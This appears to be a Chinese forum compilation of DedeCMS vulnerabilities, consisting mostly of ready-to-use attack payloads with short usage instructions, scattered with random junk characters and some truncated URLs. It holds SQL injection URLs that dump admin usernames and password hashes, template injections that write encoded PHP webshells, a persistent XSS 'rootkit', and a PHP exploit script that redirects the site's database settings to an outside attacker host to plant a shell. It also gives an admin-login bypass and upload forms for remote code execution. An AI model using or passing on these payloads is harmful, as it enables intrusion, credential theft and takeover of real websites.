dedecms漏洞总结

admin

* ^5 p' q' Q; b# \2 D7 b- k$ hDedecms 5.6 rss注入漏洞
# s0 ~7 |+ W" U/ t$ Q! Y$ c- p  ahttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
  _' M3 @" j% Y: I2 w8 N


5 d5 S- [1 Q2 j0 X# {
2 Q- O3 ]! z9 V* x
/ U: O+ I3 T2 C( v0 G/ \


DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
: m! }& Q% a$ F% I: l' ^: Z生成x.php 密码xiao，直接生成一句话。
7 t  I. A& @; W, J! y7 p/ g$ G/ i

5 T/ t6 f! \* f; A5 ~; Q

2 q1 t% p: N: L8 O' z% E6 x

1 g, K, X8 I9 W5 ?3 k2 ]4 X
+ q6 v* u5 y5 v- ], f
* z3 C: s- j2 H1 _Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
9 T' z  h) ]2 b" k! P* d+ @- J. q+ whttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
# Q$ ?: k1 t0 {/ s8 ^9 A! e2 G+ f
( `" ]5 l# Z- r% n



' u5 ?; b% u6 @, V


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
! ?* ~* {9 u8 p- G) s: R: f0 xhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
2 J, C: i) r- V  v& V8 I( c
+ x% M/ r$ r0 Y
0 @* m2 i( D& k! g
% f' U' P! A& g7 Y! _

/ z1 A3 k; h  u1 f6 ^4 d' n
DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
" j6 T* b- U5 Jhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
$ B: s( @2 J+ U$ }9 I

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
% F1 m. {3 {) Thttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
, A9 Z# L* ]! e# j7 x( ^
1 W( f' B5 E* F7 v8 |
8 d- G. N% w( e! \: ~. shttp://v57.demo.dedecms.com/dede/login.php

) D3 |* q& L: r! ~) h3 D
/ o' F: S( B* j* I/ T8 hcolor=Red]DeDeCMS(织梦)变量覆盖getshell
1 t+ K# A7 G* j; P#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
$ T$ S5 N% u( C; tExploit Author: www.heixiaozi.comwww.webvul.com
1 e' n: x! ^- k- |9 D$ u: J7 u);
* v% A) g! e7 i& l6 oecho "\r\n";
+ F- d( M  s' H4 j, |if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
: q) ]* X, [) e5 T; f9 M0 JUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
( g" Z- W4 F% [1 C, m8 }php '.$argv[0].' www.site.com 1 old
! B" m1 _' z# R; L7 V+---------------------------------------------------------------------------+
/ I5 b  r3 B% A/ z1 L$ Z0 e');
+ b" r1 h) z9 u5 Qexit;
}
$url=$argv[1];
6 [: X! S/ _3 q- l" W3 o9 _- [2 v: r$aid=$argv[2];
$path=$argv[3];
/ I/ f. }; b6 }$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
& z, G3 K  J3 ^* W. g# N0 Z- becho "
3 V8 [2 v6 r& H* v! AExploit Success \n";
  h4 |) ~2 @% Q7 rif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
4 u1 E& u9 O. o, k6 d% O
9 ~  K: {, f- |! z: z) q' N
if($aid==2)echo "
; n4 `7 y1 u) VShell:".$url."/$path/fuck.php\n" ;

* @+ M7 o/ f' o4 b7 g# v
) V; M' T9 z5 |if($aid==3)echo "
) H, s9 }% @7 g; a, `+ I5 E- L; s2 eShell:".$url."/$path/plus/fuck.php\n";


  X1 f/ w* b+ I/ s+ C( Z}else{
echo "
- H% s& s3 r1 v5 ^) z0 j* }1 pExploit Failed \n";
. X6 n$ x7 |8 ?8 e/ r9 N( X}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
' s7 G6 L  ]& h9 `9 k$port="80";
* U1 y; Z) V' C% j; o$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
. D: I8 N2 L! P" O; m$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
! Z8 i% H# u; b; k( m- u% X3 H$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
. z) [2 d9 u2 E( @% A# d# o0 p# N) c//$data .= "Accept-Encoding: gzip,deflate\r\n";
9 [  v/ }  ~2 I( B$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
2 |( ], f  p" _  J5 A4 `$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, \# o9 h% s3 W% p' ~$ P+ R$data .= $content."\r\n";
3 H5 \9 E6 {7 u" i3 L$ock=fsockopen($host,$port);
$ q1 x/ ^  |0 O' W5 |if (!$ock) {
, G3 y, N7 z2 \& M4 mecho "
! @9 Z! C( e+ ^* ?No response from ".$host."\n";
7 g2 ?1 m' T+ ?$ A8 n; d, |& O9 w}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
3 |! L! i/ [' Ureturn $exp;
}
}


. J3 z! M, M1 Y, y+ l5 ~?>
" q/ }8 p, P' E0 A% b4 u' N7 P' d0 s
( H7 q. a) r5 N' M+ {7 O, I
* B- d/ G9 ^1 q* _, v. ]# A
7 O! y$ w  a6 j. A3 J( O( l; K( q

/ I0 u' ^1 v) h

8 h( o; v8 F- D9 [7 p
5 Q" n! L, }$ \) w, @

; S* d8 x, V2 ?3 N& z& ADedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
6 L5 R# p9 X. shttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
* p; {0 E  g& X) `1 E6 ~/ Y. F* a
2 k6 X( i6 y# \& J& B1 f
  P7 U3 s+ X- r/ u把上面validate=dcug改为当前的验证码，即可直接进入网站后台
( g) s2 s+ f+ Y8 E! o4 M# V+ v
4 d3 G/ i9 r9 M3 ^1 g) A
此漏洞的前提是必须得到后台路径才能实现

7 B* J& g0 B. d. l- E, L, \



, o2 ^1 E* m8 F- J( N9 u4 e) a4 V8 q/ C

( ?8 S4 C5 _: C3 {; m/ G% @

' B' \0 ?' j7 H% K0 O5 K3 M: A( S
6 t9 C) X- w  c9 n8 [4 ]Dedecms织梦 标签远程文件写入漏洞
$ Y7 s9 }& j6 T前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
4 n# K8 q: n- b/ D# p
' g: V9 @: G0 r4 D+ y  {* ^
$ y2 Y. o2 ^3 S( l. Z再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
9 L! I, L/ b/ w7 t0 \. B<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
! c$ g/ {6 @. M8 L" b9 q0 J  k* ^<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
. L' B& X0 \' D# `: m% E<input type="text" value="true" name="nocache" style="width:400">
" `$ y) ~0 t$ }<input type="submit" value="提交" name="QuickSearchBtn"><br />
. C) `" [* u6 _  `: ]6 t/ q</form>
<script>
8 Q- U/ @6 r5 @function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
; Z0 S7 `8 r- `& K
+ @% L3 \: ?7 x  J& N8 ^  V
- R/ a0 b: c/ v  ]: A0 Y1 S

7 Y- E5 W6 i; h
$ F( i# E9 ~& Z* q; t. P0 Y

, G  o, N8 M( Q2 Y4 q
9 n6 I* _( I5 S5 k

DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
2 B0 C! `1 O/ X5 tDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
9 D0 e: t8 a" H' t4 d0 n2 |- guploads/userup/2/12OMX04-15A.jpg
# _$ D4 s& ~, O/ U1 B
/ j" {( m. `  Y7 Y
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
, |; b4 V8 m% s( I2 u/ v$fp = @fopen("1.php", 'a');
3 Y2 d9 U4 n. o) S) o5 Q@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
* g: j, D8 N3 I5 A9 x! b) e@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
  E! }1 P: K" s- a; |" h( k<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
; a+ }7 D5 X/ P3 z8 f( \/ Q<input type="hidden" name="channelid" value="1" />
& l3 m! {% S* z: I5 C4 M, ~<input type="hidden" name="oldlitpic" value="" />
  M8 h6 z9 y- {- G  K! C) Z<input type="hidden" name="sortrank" value="1275972263" />
. G0 p' d9 R# q" v4 J7 P! i" e5 r

7 A4 k% s& @* |. d, L0 q% i<div id="mainCp">
8 i( s0 o; P. n2 j" \- g<h3 class="meTitle"><strong>修改文章</strong></h3>


<div class="postForm">
<label>标题：</label>
, D: v7 t: Y- \0 B. @" Z<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
1 i3 l6 q. \4 [% `0 D

<label>标签TAG：</label>
9 I/ y: s6 g* x! n9 E<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
# t2 q( b8 E1 z. H" L. z

<label>作者：</label>
! V8 N/ k1 t+ F& X<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
7 _9 _' V! J% ?2 d2 q+ l
4 l/ L0 a% R# p. i6 e
1 l. N- Q) H3 {1 f4 m" p<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
4 d3 A" `1 \; D! C& D</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

! d9 w9 J0 ^5 g' T8 t  \5 @2 G/ B* n
- U; h) }5 L, X# R8 x7 x+ L8 V<label>我的分类：</label>
<select name='mtypesid' size='1'>
/ D3 c) |0 I* `<option value='0' selected>请选择分类...</option>
6 r* `. |6 U$ W6 s% b0 o* O0 f<option value='1' class='option3' selected>hahahha</option>
</select>
3 M+ T5 c! I/ v8 ?8 X$ n3 d

<label>信息摘要：</label>
6 D+ D- f! M  I1 a# }" C: W<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


<label>缩略图：</label>
- G) L- z  ]# c7 Q! F<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

$ G& I% q+ d; O1 I9 |7 u
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
, D% ^) A. D2 i* T1 e7 E* I<input type='text' name='dede_addonfields'
+ h) Q4 B7 S) j" |value="templet,htmltext;">（这里构造）
</div>


<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
6 y9 b2 o+ K1 _6 h9 O3 ^
/ V1 Z% ]7 C5 M: ~: A+ r
' _2 }; y' l( v7 i2 R: F/ \<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
) q' _$ |$ X# O9 t
: ~( s3 T  q2 }
; A0 ?. Y3 l2 [1 P( V<label>验证码：</label>
0 H: k0 }: b* ~0 B% X; {<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
1 J% @" I: m/ A8 t8 \+ Y/ {<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

9 U6 B$ u3 T3 |
& _6 P. `% u& P  F<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>
- P  g! F0 H4 X7 a$ O) _" c

# J4 V4 F1 c; K</div>


</form>
3 ^5 h5 f# N; X) W: z

  g; @5 G, Z. G; f, E3 M' z提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
, T6 s$ \5 p. ^/ }. L即可以在plus目录下生成webshell：1.php


% f+ K( ^; P4 l# F1 t3 c
* o1 n) ^2 R- q# z* Z
+ B( t3 `4 d  F# b




- J# Q9 o* ~2 e4 [3 ^

: m& H0 p9 V& h, ]% \
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
9 V. [+ S( A4 H2 H' A{/dede:field}
7 @7 R5 ]1 C) {7 T* R' @2 Z保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
& i8 ~# x" U# }

4 z" z8 m! P- u6 P  ^构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
" ^$ x3 v6 c0 j" v5 c' r! [发表文章，然后构造修改表单如下：
# T' m' i8 W. V1 o! T# G' V
1 u9 `' J7 p( O4 R1 C# v$ P
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
1 ?5 f: O+ R) E; Z5 E<input type="hidden" name="dopost" value="save" />
" \9 d- m" J2 n! w  o<input type="hidden" name="aid" value="2" />
% H7 L% {- \( m8 A0 q- A. N' ?<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
, W) [3 t2 S; ^7 q! [9 c<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
5 `6 Y6 ], q1 f6 T+ i<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
/ ?, g" @, G: j2 ]<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
3 g0 i: B. @, ?" B% |<option value='0' selected>请选择分类...</option>
/ @9 Z( G: Q' e; \! v; f# k" N" ?<option value='1' class='option3' selected>aa</option></select>
! V& u3 K8 w6 t: Q7 p<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
6 v6 Z; t( g$ k3 r<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
0 B# J1 V( U( A+ f. B# d: o( X<button class="button2" type="submit">提交</button>
</form>

3 N% F. \: @; ?+ S; A
. Z- w3 j9 L, ?) K/ f2 _: F' _



2 I! R8 V( ~! R

) n, z% w( y( s* E4 t
. V9 K+ @2 ]3 A6 u, m# A
) R, \) p' f, [* j* R
& u: N7 U0 N6 W4 v
  d3 w$ ^3 h- p7 b" N- [织梦(Dedecms)V5.6 远程文件删除漏洞
2 t6 U- a4 Q7 D' ^3 c" r2 dhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
- v6 ~2 v8 g* t" N
4 W' ~; e1 r6 C4 ], {
* R2 n, D9 `0 Y8 l2 o2 `

! D. Q! f5 c1 C9 ~

- I1 \& l+ ?- o( d1 w8 y



5 S9 |: P% v  i织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
" _+ [7 n6 W3 k" Q1 B- O+ b) Ihttp://www.test.com/plus/carbuya ... urn&code=../../
/ a! C6 d) x( o. p  R



% d8 F3 y( u! O) |7 L
7 I- F# f: W4 T
$ @1 t% G+ k; s
3 `' [% A3 r2 m# X7 ^: B


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
( H% G5 ]9 E- o9 B! w( Z密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

* e1 c' \& t# T, Q


. L; ^: k/ c7 l. D+ S6 Z  `0 |
, C, K* J, o. b8 \

. @! F3 k: F/ M- J3 j0 F# I8 m+ O6 |
; g% f( x! \: y

7 `$ P% ^  w7 u( X& ?0 i织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

, q" z. L" Q2 o% ?
/ R0 N3 K) T; `) U3 d3 I
' N/ ~* j9 E2 b) X- ]
, {4 q/ P# B$ C- w& H& W

( @4 U% e3 b. D9 G4 R

7 B" d+ S# c3 b& h

9 w0 G. r4 }( N6 N: u织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
9 o+ R8 c' r2 o/ n/ f</head>
<body style="FONT-SIZE: 9pt">
* p0 A' x) b- V+ U' r5 H---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
1 T) t+ ]% a/ P0 X2 C3 B6 v8 D& v; U8 ~( _<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
( f+ B1 \& l( G- Y! `<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
& u, `) x5 ]: T8 c- _<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
2 J9 u8 d" i; I- p6 BSelect U Shell <input type='file' name='uploadfile' size='25' />
0 e+ h1 ^! S* {9 o/ b/ ]<input type='submit' name='sb1' value='确定' />
</form>
7 j3 e& G; f) _& I! N* ?; U<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
* S, x8 n- {% c$ E. Z9 s; o
/ z7 E$ V( ]' k/ S2 X% [2 f

& e, c. H* A( K- q4 Q9 b9 D

+ v8 Q$ }# m6 g  a8 N: E
8 B( g# v+ S' C. W; E2 e# B

& T3 e1 n' Z" p

织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
( g5 m' o2 q% ^* ]9 i1. 访问网址：
$ n* W5 O; B) \6 W3 B1 Q$ k8 Mhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
- U  l4 ]; s; E! s( ]可看见错误信息
7 o/ z( F2 {" u) S1 S3 e* }' x
7 W! K8 o2 e" v* [) \& e
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
3 n* P* n# z# C5 U0 d5 Kint(3) Error: Illegal double '1024e1024' value found during parsing
: @/ y; j& G3 P7 \& l3 h* e8 E" dError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
( H- d- a) r0 ?. \: g$ j6 O

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


# w# M4 u0 A4 O% X<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
5 z* j% r8 b6 o3 ^7 |
, \# g- c- b; X& r' X' O+ @) C
5 y5 e) C7 o  L' |# |  H按确定后的看到第2步骤的信息表示文件木马上传成功.
3 P) |7 E- G& Y" r
5 `& J9 k+ y& a2 W$ `, D2 {2 q8 ?
6 _' R7 l$ Y1 y7 H# D4 j


1 l8 d4 f+ c- h4 l1 y9 g8 h" ]

' j& ?$ t  D/ R. c+ B
2 P+ K- N) N, l) R3 }


& @4 K. P! I1 T
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*